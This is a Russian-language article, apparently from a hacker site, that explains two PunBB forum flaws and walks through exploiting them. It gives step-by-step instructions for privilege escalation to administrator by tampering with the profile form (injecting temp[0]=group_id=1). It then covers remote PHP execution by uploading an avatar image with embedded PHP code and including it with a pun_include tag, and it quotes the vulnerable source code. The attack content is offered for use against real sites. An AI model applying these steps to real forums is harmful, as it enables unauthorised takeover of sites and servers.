Недавно в PunBB был найден ряд уязвимостей - PHP-инклюдинг и SQL-инъекция.
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Удаленный авторизованный пользователь может
выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в сценарии
'profile.php'. При включенной опции 'register_globals', удаленный
пользователь может выполнить произвольные SQL команды в базе данных
приложения. Существует уязвимость при обработке pun_include тегов. Удаленный пользователь
может загрузить и выполнить произвольный PHP сценарий на целевой системе.
Разработчики форумов не перестают радовать простых обывателей новыми версиями
своих продуктов, а обыватели в свою очередь ресурсами серверов простых
скрипткидди. Буквально на днях было открыто 2 новых критических бага в
популярном форуме punbb человеком по имени Stefan Esser.
И сейчас я постараюсь объяснить как это всё работает.
Для начала надо поднять права до администратора с помощью sql-injection.
Открываем в браузере страницу
http://site.ru/punbb/profile.php?id=*
сохраняем её на винт, изменяем через блокнот строчку:
<form id="profile1" method="post" action="profile.php?section=essentials&id=*" onsubmit="return
process_form(this)">
на:
<form id="profile1" method="post" action="http://site.ru/punbb/profile.php?section=
essentials&id=*&temp[0]=group_id=1" onsubmit="return
process_form(this)">
Т.е. изменяем url на абсолютный путь и добавляем
temp[0]=group_id=1. Из кода файла profile.php видно, что массив $temp не проверяется:
while (list($key, $input) = @each($form))
{
$value = ($input !== '') ? '\''.$db->escape($input).'\'' : 'NULL';
$temp[] = $key.'='.$value;
print "<b>".$key."\n".$value."\n</b><br>";
}
$db->query('UPDATE '.$db->prefix.'users SET '.implode(',', $temp).' WHERE
id='.$id) or error('Unable to update profile', __FILE__, __LINE__,
$db->error());
Открываем в браузере сохраненный html файл
и нажимаем submit, в итоге мы изменяем значение колонки group_id в таблице users и становимся
администратором. Далее будем использовать вторую багу
- php-injection.
Эта бага кроется в файле include/function.php
// START SUBST - <pun_include "*">
while (preg_match('<pun_include "(.*?)">', $tpl_maint, $cur_include))
{
ob_start();
include PUN_ROOT.$cur_include[1];
$tpl_temp = ob_get_contents();
$tpl_maint = str_replace('<'.$cur_include[0].'>', $tpl_temp, $tpl_maint);
ob_end_clean();
}
// END SUBST - <pun_include "*">
Скрипт ищет тег <pun include "*"> для загрузки скриптов, но т.к. в строчке
include PUN_ROOT.$cur_include[1]; имеется переменная PUN_ROOT, то можно подключать только локальные файлы. Для
этого мы создаем рисунок с комментарием в
виде php кода и загружаем как аватар. Далее редактируем, например, описание форума через админку, т.е. добавляем:
<pun_include "img/avatars/123.jpg">
Открываем главную страницу форума и вуаля
- скрипт инклудит картинку и исполняет код
из комментария.